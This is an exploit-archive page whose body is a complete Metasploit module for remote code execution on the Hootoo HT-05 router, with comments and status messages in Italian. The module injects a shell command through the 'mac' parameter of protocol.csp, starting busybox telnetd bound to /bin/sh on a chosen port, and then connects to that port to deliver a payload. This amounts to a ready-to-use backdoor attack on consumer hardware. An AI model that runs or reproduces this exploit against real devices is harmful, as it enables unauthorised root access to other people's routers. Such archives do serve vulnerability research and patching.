Hootoo ht05 remote code execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-01-14 | Type : remote | Platform : hardware

---

[+] Code ...

require 'msf/core'
require 'net/http'
require "uri"

class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

#
#Descrizione del Exploit
#
def initialize(info = {})
super(update_info(info,
'Name' => 'Hotoo HT-05 remote shell exploit',

'Description' => %q{
This module tries to open a door in the device by exploiting the RemoteCodeExecution by creating a backdoor inside the device
This exploit was written by Andrei Manole. Version of the firmware 2.000.022. Tested on 2.000.082 -> it still works
},
'Author' => 'Andrei Manole',
'References' =>
[
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
}, #fine del settaggio del payload
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => "20 Dicembre 2018",
'DefaultTarget' => 0))

register_options([ Opt::RPORT(6666) ], self.class)

end

def send_request(host,port)

uri = URI.parse("http://#{host}/protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|/bin/busybox%20telnetd%20-l/bin/sh%20-p#{port}")
http = Net::HTTP.new(uri.host, uri.port)

request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)

if response.code == 200 || response.message == 'OK' || response.class.name == 'HTTPOK' then
return true
end

return false

end

def exploit #exploit

print_status("[+] Apertura backdoor in corso...")
if !send_request(datastore['RHOST'],datastore['RPORT']) then
raise("[-] Errore nel apertura della porta")
end
print_good("[+] Richiesta inviata con successo! :)")
nsock = self.connect(false, {"RPORT" => datastore['RPORT']})
print_good("[+] Porta aperta con successo ! :)")
nsock.put(payload.encoded + " >/dev/null 2>&1")
handler(nsock)

return
end

end